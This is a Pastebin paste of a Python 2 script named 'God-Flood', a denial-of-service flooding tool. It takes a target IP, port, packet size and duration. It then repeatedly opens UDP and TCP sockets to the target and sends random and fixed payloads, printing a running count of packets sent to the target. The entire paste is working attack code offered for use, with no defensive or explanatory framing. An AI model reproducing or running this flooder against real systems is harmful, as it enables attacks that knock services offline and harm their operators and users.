Dr-L0v3

God-Flood (TCP,UDP,SYN)

Dec 21st, 2017
1,208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.43 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Dr.L0v3
  3.  
  4. import socket, random, time, os, sys
  5.  
  6. if len(sys.argv) < 5:
  7.         print "God-Flood By Dr.L0v3"
  8.         sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size> <time>")
  9.  
  10. ip = sys.argv[1]
  11. port = int(sys.argv[2])
  12. size = int(sys.argv[3])
  13. t1m3 = int(sys.argv[4])
  14. timeout = time.time() + t1m3
  15. sent = 0
  16. data = 'f1a525da11f6'.decode('hex')
  17. while True:
  18.         try:
  19.                 if time.time() > timeout:
  20.                         break
  21.                 else:
  22.                         pass
  23.                 udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  24.                 syn = socket.socket()
  25.                 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
  26.                 if port == "0":
  27.                         port = random.randrange(1, 65535)
  28.                 s.connect((ip, port))
  29.                 s.send(data)
  30.                 bytes = random._urandom(size)
  31.                 syn.connect((ip, port))
  32.                 udp.sendto(bytes,(ip, port))
  33.                 sent = sent + 1
  34.                 print "DuMPiNG TaRGeT: %s | PoRT: %s | SiZe: %s | TiMe: %s | PaCKeT: %s"%(ip, port, size, t1m3, sent)
  35.                 #sys.stdout.write("\x1b]2;Total Packets Sent: %s\x07" % sent)
  36.         except KeyboardInterrupt:
  37.                 print " Stopping Flood!"
  38.                 sys.exit()
  39.         except socket.error, msg:
  40.                 print "Socket Couldn't Connect"
  41.                 sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment